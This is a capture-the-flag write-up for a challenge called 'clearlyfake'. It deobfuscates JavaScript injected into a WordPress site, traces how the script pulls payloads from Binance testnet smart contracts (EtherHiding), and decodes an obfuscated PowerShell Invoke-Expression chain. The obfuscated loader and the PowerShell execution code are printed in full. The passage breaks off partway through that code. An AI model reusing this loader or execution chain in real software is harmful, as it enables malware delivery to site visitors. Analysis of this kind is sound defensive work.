

Challenge 8 ("clearlyfake")

Description

“I am also considering a career change myself but this beautifully broken JavaScript was injected on my WordPress site I use to sell my hand-made artisanal macaroni necklaces, not sure what’s going on but there’s something about it being a Clear Fake? Not that I’m Smart enough to know how to use it or anything but is it a Contract?”

Writeup

The archive contains a single JavaScript file:

```
var _0xc47daa=_0x55cb;function _0x5070(){var _0x33157a=[
'55206WoVBei','174710ZVAdR','62fJMBmo','replace','120QkxHIP','1147230VPiwgB','toString','6143
24JhgXcW','3dPcEIu','120329NucVSe','split','fromCharCode','2252288wlgQHe','const|web3||eth|fs|
inputString|filePath|abi||targetAddress|contractAddress|error|string|data|decodedData|to|metho
dId|call|newEncodedData|callContractFunction|require|Web3|await||encodedData|largeString|resul
t|new_methodId|decodeParameter|address|encodeParameters|slice|blockNumber|toString|function|wr
iteFileSync|newData|base64|utf|from|Buffer|console|Error|catch|contract|try|0x5684cff5|new|BIN
ANCE_TESTNET_RPC_URL|decoded|0x9223f0630c598a200f99c5d4746531d10319a569|async|0x5c880fcb|calli
ng|base64DecodedData|KEY_CHECK_VALUE|Saved|log|43152014|decoded_output|txt','10lbdBwM','0\x20l
=k(\x221\x22);0\x204=k(\x224\x22);0\x201=L\x20l(\x22M\x22);0\x20a=\x220\x22;P\x20y\x20j(5)
{J{0\x20g=\x22K\x22;0\x20o=g+1.3.7.u([\x22c\x22],
[5])).v(2);0\x20q=m\x201.3.h({f:a,d:o});0\x20p=1.3.7.s(\x22c\x22,q);0\x209=E.D(p,\x22B\x22).x(\
x22C-
8\x22);0\x206=\x22X.Y\x22;4.z(6,\x22$t\x20=\x20\x22+9+\x22\x5cn\x22);0\x20r=\x22Q\x22;0\x20w=W
;0\x20i=r+1.3.7.u([\x22t\x22],
[9])).v(2);0\x20A=m\x201.3.h({f:a,d:i},w);0\x20e=1.3.7.s(\x22c\x22,A);0\x20S=E.D(e,\x22B\x22).x
(\x22C-8\x22);4.z(6,e);F.V('U\x20N\x20d\x20f:${6j}')H(b)
{F.b(\x22G\x20R\x20I\x20y:\x22,b)}}0\x205=\x22T\x22;j(5);','3417255SrBbNs'];_0x5070=function()
{return _0x33157a;};return _0x5070();}function _0x55cb(_0x31be23,_0x3ce6b4){var
_0x5070af=_0x5070();return _0x55cb=function(_0x55cbe9,_0x551b8f){_0x55cbe9=_0x55cbe9-0xd6;var
_0x408505=_0x5070af[_0x55cbe9];return _0x408505;},_0x55cb(_0x31be23,_0x3ce6b4);}
(function(_0x56d78,_0x256379){var _0x5f2a66=_0x55cb,_0x16532b=_0x56d78();while(![]){try{var
_0x5549b8=parseInt(_0x5f2a66(0xe1))/0x1*(parseInt(_0x5f2a66(0xe2))/0x2)+-
parseInt(_0x5f2a66(0xd7))/0x3*(parseInt(_0x5f2a66(0xd6))/0x4)+parseInt(_0x5f2a66(0xdd))/0x5*
(parseInt(_0x5f2a66(0xe0))/0x6)+parseInt(_0x5f2a66(0xe5))/0x7+parseInt(_0x5f2a66(0xdb))/0x8+-
parseInt(_0x5f2a66(0xdf))/0x9+-parseInt(_0x5f2a66(0xe4))/0xa*
(parseInt(_0x5f2a66(0xd8))/0xb);if(_0x5549b8==_0x256379)break;else _0x16532b['push']
(_0x16532b['shift']());};catch(_0x1147b3){_0x16532b['push'](_0x16532b['shift']());}}
(_0x5070,0x53395),eval(function(_0x263ea1,_0x2e472c,_0x557543,_0x36d382,_0x28c14a,_0x39d737)
{var _0x458d9a=_0x55cb;_0x28c14a=function(_0x3fad89){var
_0x5cfda7=_0x55cb;return(_0x3fad89<_0x2e472c?'':_0x28c14a(parseInt(_0x3fad89/_0x2e472c)))+
((_0x3fad89=_0x3fad89%_0x2e472c)>0x23?String[_0x5cfda7(0xda)]
```

```
(_0x3fad89+0x1d):_0x3fad89[_0x5cfda7(0xe6)](0x24));};if(!''['replace'](/^/,String))
{while(_0x557543--)
{_0x39d737[_0x28c14a(_0x557543)]=_0x36d382[_0x557543]||_0x28c14a(_0x557543);}_0x36d382=
[function(_0x12d7e8){return _0x39d737[_0x12d7e8];}],_0x28c14a=function()
{return'\x5cw+';},_0x557543=0x1;};while(_0x557543--){_0x36d382[_0x557543]&&
(_0x263ea1=_0x263ea1[_0x458d9a(0xe3)](new
RegExp('\x5cb'+_0x28c14a(_0x557543)+'\x5cb','g'),_0x36d382[_0x557543]));}return _0x263ea1;}
(_0xc47daa(0xde),0x3d,0x3d,_0xc47daa(0xdc)[_0xc47daa(0xd9)]('|'),0x0,{}}));
```

Clearly an obfuscator was used. Let's deobfuscate the code using an arbitrary online tool (e.g. deobfuscate.io):

```
eval(function (_0x263ea1, _0x2e472c, _0x557543, _0x36d382, _0x28c14a, _0x39d737) { _0x28c14a
= function (_0x3fad89) { return (_0x3fad89 < _0x2e472c ? '' : _0x28c14a(parseInt(_0x3fad89
/ _0x2e472c))) + ((_0x3fad89 = _0x3fad89 % _0x2e472c) > 0x23 ? String.fromCharCode(_0x3fad89 +
0x1d) : _0x3fad89.toString(0x24)); }; if (!''.replace(/^/, String)) { while (_0x557543--)
{ _0x39d737[_0x28c14a(_0x557543)] = _0x36d382[_0x557543] || _0x28c14a(_0x557543); }
_0x36d382 = [function (_0x12d7e8) { return _0x39d737[_0x12d7e8]; }]; _0x28c14a =
function () { return "\\w+"; }; _0x557543 = 0x1; } ; while (_0x557543--) { if
(_0x36d382[_0x557543]) { _0x263ea1 = _0x263ea1.replace(new RegExp("\\b" +
_0x28c14a(_0x557543) + "\\b", 'g'), _0x36d382[_0x557543]); } } return _0x263ea1;}("0
l=k("1\\");0 4=k("4\\");0 1=L l("M\\");0 a="0\\";P y j(5){J{0 g="K\\";0 o=g+1.3.7.u(["c\\",
[5]].v(2);0 q=m 1.3.h({f:a,d:o});0 p=1.3.7.s("c\\",q);0 9=E.D(p,"B\\").x("C-8\\");0
6="X.Y\\";4.z(6,"$t = \"+9+\\\"\\n\\");0 r="Q\\";0 w=W;0 i=r+1.3.7.u(["t\\",[9]].v(2);0 A=m
1.3.h({f:a,d:i},w);0 e=1.3.7.s("c\\",A);0 S=E.D(e,"B\\").x("C-8\\");4.z(6,e);F.V(`U N d
f:${6}`)}H(b){F.b("G R I y:",b)}0 5="T\\";j(5);", 0x3d, 0x3d,
"const|web3||eth|fs|inputString|filePath|abi||targetAddress|contractAddress|error|string|data|
decodedData|to|methodId|call|newEncodedData|callContractFunction|require|Web3|await||encodedDa
ta|largeString|result|new_methodId|decodeParameter|address|encodeParameters|slice|blockNumber|
toString|function|writeFileSync|newData|base64|utf|from|Buffer|console|Error|catch|contract|tr
y|0x5684cff5|new|BINANCE_TESTNET_RPC_URL|decoded|0x9223f0630c598a200f99c5d4746531d10319a569|as
ync|0x5c880fcb|calling|base64DecodedData|KEY_CHECK_VALUE|Saved|log|43152014|decoded_output|txt
".split('|'), 0x0, {}));
```

This is better, but still not readable. However, if you look at the code structure, the only top-level statement is a call to `eval` with a computed string argument, which does not seem to depend on any external inputs (i.e. is constant). If we just evaluate the expression inside `eval` (you may need to enclose it in parentheses if you want to evaluate it in a JavaScript console), we get the actual JavaScript code (beautified here):

```
const Web3 = require('web3');const fs = require('fs');const web3 = new
Web3('BINANCE_TESTNET_RPC_URL');const contractAddress =
'0x9223f0630c598a200f99c5d4746531d10319a569';async function callContractFunction(inputString)
{ try { const methodId = '0x5684cff5'; const encodedData = methodId +
web3.eth.abi.encodeParameters(['string'], [inputString]).slice(2); const result =
await web3.eth.call({ to: contractAddress, data:
encodedData }); const largeString =
web3.eth.abi.decodeParameter('string', result); const targetAddress =
Buffer.from(largeString, 'base64').toString('utf-8'); const filePath =
'decoded_output.txt'; fs.writeFileSync(filePath, '$address = ' + targetAddress +
'\n\n'); const new_methodId = '0x5c880fcb'; const blockNumber = 43152014;
const newEncodedData = new_methodId + web3.eth.abi.encodeParameters(['address'],
[targetAddress]).slice(2); const newData = await web3.eth.call({
```

```

to: contractAddress,                                data: newEncodedData                                }, blockNumber);
const decodedData = web3.eth.abi.decodeParameter('string', newData);                                const
base64DecodedData = Buffer.from(decodedData, 'base64').toString('utf-8');
fs.writeFileSync(filePath, decodedData);                                console.log(`Saved decoded data to:${
filePath }`); } catch (error) {                                console.error('Error calling contract
function:', error); }}const inputString =
'KEY_CHECK_VALUE';callContractFunction(inputString);

```

While this code does not work on its own (even with the `BINANCE_TESTNET_RPC_URL` set to a proper URL), it is clear what its doing and where the analyst should look next. At this point, it is probably worth mentioning the motivation behind this challenge.

ClearFakes, EtherHiding and Smart Contracts

The challenge description mentions:

“ [T]here’s something about it being a Clear Fake? Not that I’m Smart enough to know how to use it or anything but is it a Contract?

ClearFake is the name of a campaign that famously used infected WordPress sites to deliver malware through fake browser update prompts. This way, users of legitimate WordPress sites were tricked into "self-infecting", a technique gaining massive popularity among malware authors in 2024.

One of the techniques this campaign used to deliver malicious scripts to users is called EtherHiding. It makes use of the Ethereum and Binance "smart contracts", which in my limited understanding is a piece of code (and possibly some amount of storage) stored permanently on a blockchain and callable from "Web3" clients. The reason why this technique is so alluring to malware authors is that the code and data stored on a blockchain is permanent in the sense that all following transactions within that blockchain depend on it. The code stored in such a contract is compiled bytecode for the Ethereum VM, a typical language used to write these contracts being Solidity. Individual functions within the code are identified and called by a 4-byte Keccak hash of their instructions. The hashes of some of the well-known or common functions can be looked up online.

I am by no means an expert on blockchains, but this basic high-level understanding turned out to be sufficient to solve the challenge.

Analyzing the contract

Given the contract address, `0x9223f0630c598a200f99c5d4746531d10319a569`, and the selector of the called function `0x5684cff5`, it's possible to retrieve its bytecode from the Binance testnet (for example using the JavaScript Web3 library) and disassemble or even decompile it (this can be done online; alternatively, there is an IDA processor plugin available). I shall not go into details, because I frankly didn't take note of the tools I used and I don't particularly enjoy smart contract reversing (or anything related to blockchains for that matter), but the logic wasn't complicated and it turned out that supplying the input `giV3_M3_p4yL04d!` results in another blockchain address being returned: `0x5324eab94b236d4d1456edc574363b113cebf09d`, which is consistent with what the JavaScript snippet expects.

Next, the snippet calls the contract at this new address, selecting function `0x5c880fcb` specifically from block number `43152014`.

This smart contract function takes no call data and returns actual malicious payload — an in-memory AMSI bypass by Rasta-mouses — clearly not the right way towards getting the flag.

Inspecting the smart contract, I found out that there were two more callable functions, `0x8da5cb5b` (`owner`, simply returns the address of the owner account) and `0x916ed24b` (unknown). This last unknown function seems to be only callable by the owner account (`0xab5bc6034e48c91f3029c4f1d9101636e740f04d`), otherwise an error is returned. Keeping the EtherHiding scenario in mind, I think it's reasonable to assume that the purpose of this function is potentially to store a new payload into the storage.

With this in mind, it makes sense to search the blockchain for previous calls to this function, which are all "logged". One of the calls is particularly interesting:

[illegible]

6335536d683362693877526a464a556e5254654856445433517753576f33576a52535a32464d51533879567a566b63
545a354b304a534d30784364477475536d63724e43396d643235595a6b70536443394c4e564e3356474a5452573575
636a524e525468464d48424e57464e725257744c53476873656c4e61576d78735656646e556b3971566a457a544556
796430525953555245563077764b33564f613056304e336c4b5646517662334a514c3168614d7939305548527a5546
673562475532596c6833545442334d47564355316c36516e6851616b55324f4846565a6b5176636e70584e6d4e5957
4852485a5578496444426a543351775a5763325445355161474d7255455a324e7a564551336c45516a5a73546e4a42
64325a4e614768424e5552555931464e56544a5855457454536a4a51636e64304e574a435531424c626a5a7752454e
4f536b4a52643277756323559527a4e355457355053303534543246615747525961476c75656b3578516b4a335545
4a524b306f304f476c5a536d7835536b785a5a486c50634539474d584e7763456869626b39446144553056325a7262
326733565464306457526c6346646c4d6c6b345248646a52553975537a4a43623252734d335a56626d5a464d6b396c
5a5770495a6e593561586859646b527757464631557a4e7462474d7952324a3463574a715532563353444533554842
355447777964484a4f5a5731745555393352564631536d565055445a484f565a4b5357784e4e6e6c4557467034626e
5a7652336854566b467456484649616b7874546a6c5562456c484c324e7361586c6e62466c6a6146464d6546687759
6b633461465577576d78695a45355064585278596c42314d7a6875525339454e5756795469745561574d3363573971
4b306b7a556d524f59586444526e56744d6c70534f47316c5958564f6431464552453946656e5179616b4e4b574456
785647396b55306c445231524d576b4e53643274614e6d7844576d686f634656725447396857556855635751335645
786d6233565854306c354e6c4a354e476b7764484e334d544e7a515446504d53744451304a4f65484a4f4d30354d62
544d315a6c426d4f457450564531724d7a42306256704551316c3555474e7a5a56704e4e6b3956616b395655465230
52453169575464775a584279526e52745555572616c5a355a58686d566b3831564535514d55354c51585931546a52
3454577461576b4e565232467164455644566b73344d58687056555a6c62303579526c684854445131624564736458
6831525339364b304a4e5756637a533039796455453452326879616d5636626e464856455a6d4f5746574d316c5157
55316d62565a4e516e4d324d6a6476616c42784d315a3461484a6857577842536e42434f5442595258464c53457042
4d5778705a444a78616b4673526a51795956705761303879616d4a6b54444a575345686c4f474a3556575a4c536d78
686148523457557776355466b4e4546456158464553326b7861326c4a64464634613256464e6b56776332686c596e
597a635651724e53394e616b6873526a45776256517762304a50616b73784e304e6a543352515930393061326c3253
577853566d566e656e7070643035704e336873554846715a324661636a4e54543277786248417a616e683651303945
546d7873623256726557564d53586842516e425655565a6a565641774d6b38354d574e305233467461314e4e5a5746
33595752494e5651784d334a4b536b4654546b3972566e523655324e76613342594f5570584b31704b55336b316557
4e4a536e67726433425254307849616e52724d4459776246685861565a7759545268645445794d3239745630747662
464e30536c4e544f565a78546a4a6f616a4a7a4d556b30596a4a6d647a5134516d6332576b706c4e6b38794c305655
545535715a6a68544d3352494b325633616d56424e7a42364e4570524f55746f646b4e7452574e6f523363774c3159
7a567a6c4e574574704d6938326247387856314a6f53306778626a6c5655314e61596d523251556f3153446b7a556e
4a49566d567952334e7763566432567a427253474a365a31704f4c315a71545578744d6b784a62326c555a6d6c355a
6d684b64446c6d546b6b316457397a4c7a4a594f444277617a425554575a4c52486735625642454d4451345244686b
54303550536b785164556f7a624446355a6d3979596b316864466851566d564e4e546c504b3346575a6a42324a7941
704943776757326c504c6d4e766258425352564e545355394f4c6b4e766258425352584e54615739755457396b5a56
30364f6d52465932394e55484a4663334d674b5341704943776757314e355533524662533555525668304c6b567551
32396b5355356e58546f3659584e4453556b704b5335535a57464556453946546b516f4b513d3d0000000000000000
00000000

because its payload decodes to the following:

```
Invoke-Expression (New-Object System.IO.StreamReader((New-Object Io.Compression.DeflateStream([System.IO.MemoryStream]  
[Convert]::FromBase64String('jVdrc+LGEv30r5jKJhdpQSwSAmxSlbrYV/Zy7TUuIM5uKGpLiMGWFySVNHhxCp89p  
0ejB+Ck4rKkmZ7umX6c6W407Ydd63y/69j7Xbu739nt/a7bxBg0Inf208xa5n5n4WLjDEqbHLAszMDUxYrdwhirZ2DGUgd  
fG1tixQSHjW+LZHFCC0smHhpCqA2uDr4t+tIx+NokjX9iwYfUoRWcauNIE/u3sGTS6GsmKUzjiFjgt3Bgm77gM0mG5qQTe  
FqYW5C1SAnwmGQy0bAPWQ02Nplg7X8wLqx60e7fhF9qN9V6dcsXeN+zhSSEX8InwT8ZbBgq0U1Fwkcg/xa+BANNY3yzch8  
MFiu8Znzt3hmMr+auH4Mo+LiiM+79fvBHt9mw807h8aI4CJPnwR9qy27dJPLCx6s+u7kc3L6w0onMvWXz7Mxrb5tK0hXug  
piUIIYJTL0s3Jv0UrGEAi+1vpsSJVm7sRuRGJ7VvW+wgbFTba6F+swvkqUDBevc+ymPQZ+LmaCK/J14+qx8muvNwNdkRa  
hFzgNsc1YJo01F8nreKqxbK/UM2rm+17SF6tN7idFP3KXbiULHRQPVL7PELVhRYi5i9BeDnNvV+sSmk6AKYJdx2HV+wdY  
1+XH1sajIJhfe41dxgw/FV2THj8eT40njzXIEZk0GC+D2F1tDtnYqXGG/WVJjwJptRg7yr7CtP12ZN4DPhtg1S4e0Xf6My  
fmI/PtEyKw+3cIO3IXNhIjuRsMAAKGabrTZK4GpMBSAo9HkiETwqT27mLJ5DbV/S0yeq6xerAczAqSsuSPKrJfDN0ddzyJ
```

```
6LSMMTu3lTTHK9/e++MGvp5azbqf/Sms+tgMJqMp3X93E4pte65GjTP0kFJrHMi1u4qbrutBlbTPJGDhZVF4K7XoUc+CkK
foB1tHXXRKjrg+uiur8//4b/3qWK5q0r/FNa+YUp90Zxw1Y3HTVZsvDJ48z7wBZrGA3nkWPJf/jm0NHFCu9Gz0frzV3ZT
5MS/BiJNst4xVwecoCpD0gELd0EC+nT0F8X4VziEoMLg8E+SgsfYLpwPX8L+QKustT0oWBQI7tMQPqyBD9yDv4ZXXHaiHH
PXUU8Nlg5zvmFA4Cwu8IFDKZJLuAuDSYCP4wWAF8qeIBcJ0hHP/5V+lSk4b3pSigW910hMvN6ccXBx2byArRzL7FaqLTKJ
ylKvgA7LqZugpHQmyW7HMRgp/MLzp0YC8FXDLffi700E0U9i879Jhwn/0F1IRtSxuCOt0Ij7Z4RgaLA/2W5dq6y+BR3L
BtknJg+4/fwnXfJrt/K5SwTbSEnnr4ME8E0pMXSkEkKHhLzSZLlUWgR0jV13LErWDXIDDLW/+uNkEt7yJTT/orP/XZ3/t
PtsPX9le6bXwM0w0eBSYzBxPjE68qUfD/rzW6cXXtGeLHt0c0t0eg6LNPPhc+PFv75DCyDB6LnrAwfMhhA5DTcQMU2WPKSJ
2Prwt5bBSPKn6pDCNJBQwL0WnXG3yMn0KNx0aZXdXhinzNqBBwPBQ+J48iYJlyJLYdy0p0F1sppHbn0Ch54Wfcoh7U7tud
epWe2Y8DwcE0nK2BodL3vUnfE20eejHfv9ixXvDpXQuS3mlc2GbxqbjSewH17PpyLL2trNemmQ0wEQuJe0P6G9VJIIM6yD
XZxnvoGxSVAmTqHjLmN9TLIG/cliygLYchQLxXpbG8hU0ZLbdN0utqbPu38nE/D5erN+Tic7qoj+I3RdNawCFum2ZR8mea
uNwQDD0Ezt2jCJX5qTodSICGTLZCRwkZ6LCZhhpUKLoaYHTqd7TLfouW0Iy6Ry4i0tsw13sA101+CCBNxrN3NLm35fPf8K
OTmk30tmZDCYyPcseZM60Uj0UPTtDMbY7peprFtmQE+jVyexfV05TNP1NKA5V5N4xMkZZCUGajtECVK81xiUFeoNrFXGL45
lGLuxuE/z+BMW3K0ruA8GhrjeznqGTFf9aV3PYPMfmVMBs627ojPq3VxhraYLAJpB90XEqKHJA1lid2qjAlF42aZVko2j
bdL2VHH8byUfKJLahtxYL0qAd4ADiQDKi1kiItQxkeE6Epshbv3qT+5/MjHlF10mT0oB0jK17Cc0tPc0tkivILRVegzz
iwni7x1PqjgaZr3S0l1lp3jxzCODNlloekyeLIxAbpUQVcUP02091ctGqmkSMeawadH5T13rJJASN0kVtzScokpX9JW+ZJ
Sy5ycIJx+wpQ0LHjtk060LXWiVpa4au123omWKOlStJSS9VqN2hj2s1I4b2fw48Bg6ZJe602/ETMNjF8S3tH+ewjeA70z4
JQ9KhvCmEchGw0/V3W9MXKi2/6lo1WRhKH1n9USSZbdvAJ5H93RrHVerGspqWvW0kHbzgZn/VjMLm2LIoiTfiyfHJt9fNI
5uos/2X80pk0TMfKDX9mPD048D8d0N0JLPuJ3llyforbMatXPVeM590+qVf0v' ) ,
[i0.compRESSION.CompREsSionMode]::dEcoMPrEss ) ) , [SyStEm.TEXT.EnCodIng]::asCII)).ReadTOEND()
```

which is an obfuscated and compressed PowerShell command (typical for ClearFake payloads) which decodes to:

```
((("{39}{64}{57}{45}{70}{59}{9}{66}{0}{31}{21}{50}{6}{56}{5}{22}{69}{71}{43}{60}{8}{35}{68}{44}
{1}{19}{41}{30}{67}{38}{18}{7}{33}{54}{63}{34}{61}{24}{48}{4}{47}{3}{40}{51}{26}{42}{15}{37}
{12}{10}{11}{52}{14}{23}{29}{53}{25}{16}{49}{55}{62}{36}{27}{28}{13}{17}{46}{20}{2}{65}{58}
{32}"-f 'CSAKoY+K','xed','P dKoY+KoYohteM- doKoY+KoYhteMtseR-ekovni(( euLaV- pser emaN-
elbairaV-teS)1aP}Iz70.2Iz7:Iz7cprnosjIzKoY+KoY7,1:Iz7diIz7,]KCOLB
,}Iz7bcf088c5x0Iz7:Iz7atadIz7,KoY+KoYIz7sserddaK6fIz7:Iz7otIz7KoY+KoY{[:Iz7smarapIz7,Iz7llac_h
teIz7:Iz7d','aBmorFsKoY+KoYetybK6f(gnirtSteKoY+KoYG.8FTU::]gniKoY+KoYdocnE.txeKoY+KoYT.metsyS[
( KoY+KoYeuLaV- KoY+KoYiicsAtluser emaN-KoY+KoY elbairaV-
teS))2setybK6f(gniKoY+KoYrtS46esaBmorF::]trevnoC[( euLaV- 46esaBmorFsetyb ema','tamroF # _K6f
f- 1aP}2X:0{1aP { tcejb0-hcaEroF sOI ii','KoY+KoYab tLKoY+KoYuKoY+KoYser eht trevnoC #}
))htgneL.setyByekK6f % iK6f[setyByekK6f roxb-','teS)gnidocne IICSA gnimussa(
gnirts','KoY+KoYV-','eT[( euLaV- 5setyb emaN- elbairaV-teS))61 ,)2
,xednItratsK6f(gnirtsbuS.setyBxehK6f(etyBo','c[[(EcALPER.)93]RAHc[ ]GnIRTS[, )94]RAHc[+79]RAHc[+
08]RAHc[[(EcALPER.)63]RAHc[ ]GnIRTS[, )57]RAHc[+45]RAHc[+201]RAHc[[(EcALPER.)KoYdnammocK6f
noisserpxE-ekovniIz7galFZjWZjW:C f- 1aPgaKoY+KoYlFZjWZjW:C > gnirtStLKoY+KoYuserK6KoY+KoYf
ohce c/ dm','N- ','elbai','yb ema',')tL','.rebmuNxehK6f(etyBoT::]trevnoC[
','0setybK6f(gni','Y+KoYcejb0-hcaEroFKoY+KoY sOI )1','user.)ydob_K6f ydoB-
Iz7nosj/noitacil','usne( setyb ot xeh KoY+KoYmorf trevnoC #)Iz7Iz7 ,Iz7 Iz7 ecalper-
setyBxehK6f(KoY+KoY euLa','nItrats em','noKoY+KoYC- tniopdne_tentsetK6f irU-
1aPtsoP1a','eT.metsyS[( euLaV- gnirtStluser emaN-',' )iK6f[5setybK6f( + setyBtluserK6f( euLaV-
','KoY+KoY )1 + xednKoY+KoYItratsK6f( eu','eS)}srettel esacrKoY+KoYepu htiw xeh tigid-','
KoY+KoYtKo','uLaV','f( euLaV','- rebmuNxeh emaN- elbairaV-teSxiferp 1aPx01aP eht evomeR
KoY+KoY#','laV- xednIdne KoY+KoYema','F sOI )1 ','oY::]gnidocnE.tx','eSKoY( G62,KoY.KoY
,KoYriGHTToLeftKoY) DF9%{X2j_ } )+G62 X2j(set-ITEM KoYvArIAbLE:ofSKoY KoY KoY )G62) ','
setyBxeh em','etirW# )1aP 1aP KoY+KoYnioj- setyBxehK6f( euLaV- gnirtSxehKoY+KoY emaN-
elbairaKoY+KoY','T::]trevnoC[ )1 + xednItra','alper-
pserK6','rtSteG.8FTU::]gnidocnE.txeT.metsyS[( euLaV- 1set','elbairaV-tKoY+KoYeS)sretcarahc xeh
fo sriap gnir','. ( X2jEnV:coMspec[4,26,25]-j0InKoYKoY)(G62X2j(set-iTem KoYVAriAbLE:ofSKoY
KoYKoY )G62 + ( [StrInG][REGEEx]:','N- elbairaV-teSsety','aN- elbairaV-teS { tcejb0-
hcaEro','- 2setyb emaN- eKoY+KoYlbairaV-teS))',' eht mrofrep ','ne emaN- elbairKoY+KoYaV-teS
```

```

)2 * _K6f( euLaV- ',-]2,11,3[EmAN.)KoY*rdm*KoY
ELBAIraV((.DF9)421]RAHc[ ]GnIRTS[,KoYsOIKoY(EcALPER.))','ppaIz7 epyTtnet','csAtlKoY+KoYuserK6f(
euKoY+KoYlaV- setyBxeh emaN- elbairaV-teS))46es','owt sa etyb hcae ',- 2 /
htgneL.rebmuNxehK6f(..0( euLaV- 0setyb emaN- elbairaV-teS)sretcarahc xeh fo sriap
gnirusne(K',' elbairaV-','b ot 46esab morf trevnoC #))881 ,46(gnirtsbuS.1setybK6f( e','raV-teS
))61 ,)2 ,xednItratsK6f(gnirtsbuS','N- elbairaV-teS )2 * _K6f( euLaV- xednItrats emaN-
elbairaV-teS {','aN-','oY+KoY setyb ot xeh morf trevnoC #)1aP1',' a ot kc','YNIoJ','aN-
elbairaV-
t','cALPER.)KoYaVIKoY,)09]RAHc[+601]RAHc[+78]RAH','#))Iz742N0ERALFIz7(setyBteG.IICSA::]gnidocn
E.txet[( euLaV- setyByek emaN- elbairaV-teKoY+KoYSsetyb ot yek eht trevnoC
#))3setybK6f(gnirtSteG.8FTU::]gnidocnE.tx','V-t','aP ,1aPx01aP ec',' elbairaV-
teSgnirtSxKoY+KoYehK6f tuKoY+KoYptu0-',':MATCHeS(G62)KoYKo','ohtemIz7{1aP( euLaV- ydob_ emaN-
elbairaV-teS)Iz7 Iz7( euLaV-KoY+KoY tniKoY+KoYopdne_tentset em','c1aP maKoY+KoYrgorp-sserpmoc-
esu-- x- ratIzKoY+KoY7( euLaV-KoY+KoY dnammoc emaKoY+KoYN- elbairaV-
teS))setyBtluserK6f(gnirtSteGKoY+KoY.II',''- 2 / htgneL.setyBxehK6f(..0( euLaV- 3setyb emaN-
','tsK6f( euLaV- xednId','setyBtluser emaN-
','43]RAHc[ ]GnIRTS[,)37]RAHc[+221]RAHc[+55]RAHc[(((E','elbairaVkoY+KoY-teS { })++iK6f
;htgneL.5setybK6f tl- iK6f ;)0( euLaV- i emaN- elbairaV-teS( rof))(@ ( euLaV- setyBtluser emaN-
KoY+KoYelbairaV-teSnoitarepo ROX')).REpLACE('DF9','|').REpLACE('KoY',[STring]
[cHaR]39).REpLACE([(cHaR]71+[cHaR]54+[cHaR]50),[STring]
[cHaR]34).REpLACE('X2j','$').REpLACE('aVI',[STring][cHaR]92) | & ( ([stRing]$VerboSEpRefeReNCe)
[1,3]+'X'-join''')

```

The last bit of that command, `| & (([String]$VerbosePreference)[1,3]+'X'-Join''')`, just evaluates to `iex` (shorthand for `Invoke-Expression`). The expression itself simplifies to

```

. ( $EnV:coMspec[4,26,25]-j0In'')("$ (set-iTem 'VAriABle:0fS' '' )" + ( [STring]
[REGEEx>::MATCHeS(")'NIoJ-]2,11,3[EmAN.)'*rdm*'
ELBAIraV((.|)421]RAHc[ ]GnIRTS[, 'sOI'(EcALPER.)43]RAHc[ ]GnIRTS[, )37]RAHc[+221]RAHc[+55]RAHc[(((E
cALPER.)'\,)09]RAHc[+601]RAHc[+78]RAHc[(((EcALPER.)93]RAHc[ ]GnIRTS[, )94]RAHc[+79]RAHc[+08]RAHc
[(((EcALPER.)63]RAHc[ ]GnIRTS[, )57]RAHc[+45]RAHc[+201]RAHc[(((EcALPER.)'dnammocK6f noisserpxE-
ekovnI)Iz7gaIfZjWZjW:C f- 1aPga+'lFzjWZjW:C > gnirtStl'+ 'userK6'+ 'f ohce c/ dmc1aP
ma'+ 'rgorp-sserpmoc-esu-- x- ratIz'+ '7( euLaV- '+' dnammoc ema'+ 'N- elbairaV-
teS))setyBtluserK6f(gnirtSteG'+ '.IICSA'+ '::]gnidocnE.txet.metsyS[( euLaV- gnirtStluser emaN-
elbairaV-teS)gnidocne IICSA gnimussa( gnirts a ot kc'+ 'ab tl'+ 'u'+ 'ser eht trevnoC #}
))htgneL.setyByekK6f % iK6f[setyByekK6f roxb- ]iK6f[5setybK6f( + setyBtluserK6f( euLaV-
setyBtluser emaN- elbairaV+'-teS{ })++iK6f ;htgneL.5setybK6f tl- iK6f ;)0( euLaV- i emaN-
elbairaV-teS( rof))(@ ( euLaV- setyBtluser emaN- '+'elbairaV-teSnoitarepo ROX eht mrofrep
#))Iz742N0ERALFIz7(setyBteG.IICSA::]gnidocnE.txet[( euLaV- setyByek emaN- elbairaV-te+'Ssetyb
ot yek eht trevnoC #))3setybK6f(gnirtSteG.8FTU::]gnidocnE.txet[( euLaV- 5setyb emaN- elbairaV-
teS))61 ,)2 ,xednItratsK6f(gnirtsbuS.setyBxehK6f(etyBoT::]trevnoC[])1 + xednItratsK6f( euLaV-
xednIdne emaN- elbair'+ 'aV-teS)2 * _K6f( euLaV- xednItrats emaN- elbairaV-teS{ tcejb0-hcaEroF
sOI )1 - 2 / htgneL.setyBxehK6f(..0( euLaV- 3setyb emaN- elbairaV-t+'eS)sretcarahc xeh fo
sriap gnirusne( setyb ot xeh '+'morf trevnoC #)Iz7Iz7 ,Iz7 Iz7 ecalper- setyBxehK6f('+'
euLaV+'V- setyBxeh emaN- elbairaV-teSgnirtSx'+ 'ehK6f tu'+ 'ptu0-etirW# )1aP 1aP '+'nioj-
setyBxehK6f( euLaV- gnirtSxeh'+ ' emaN- elbairaV+'V-teS))srettel esacr'+ 'eppu htiw xeh tigid-
owt sa etyb hcae tamroF # _K6f f- 1aP}2X:0{1aP{ tcejb0-hcaEroF sOI iicsAtl'+ 'userK6f(
eu'+ 'laV- setyBxeh emaN- elbairaV-
teS))46esaBmorFs'+ 'etybK6f(gnirtSte'+ 'G.8FTU::]gni'+ 'docnE.txet'+ 'T.metsyS[( '+'euLaV-
+'iicsAtluser emaN- '+' elbairaV-teS))2setybK6f(gni'+ 'rtS46esaBmorF::]trevnoC[( euLaV-
46esaBmorFsetyb emaN- elbairaV-teSsetyb ot 46esab morf trevnoC #))881 ,46(gnirtsbuS.1setybK6f(
euLaV- 2setyb emaN- e'+ 'lbairaV-teS))0setybK6f(gnirtSteG.8FTU::]gnidocnE.txet.metsyS[( euLaV-
1setyb emaN- elbairaV-teS ))61 ,)2 ,xednItratsK6f(gnirtsbuS.rebmuNxehK6f(etyBoT::]trevnoC[

```



```
'+')1 + xedn'+ItratsK6f( eulaV- xednIdne '+'emaN- elbairaV-teS)2 * _K6f( eulaV- xednItrats
emaN- elbairaV-teS{ '+'t'+cejb0-hcaEroF+' sOI )1 - 2 / htgneL.rebmuNxehK6f(..0( eulaV-
0setyb emaN- elbairaV-teS)sretcarahc xeh fo sriap gnirusne('+ setyb ot xeh morf trevnoC
#)1aP1aP ,1aPx01aP ecalper- pserK6f( eulaV- rebmuNxeh emaN- elbairaV-teSxiferp 1aPx01aP eht
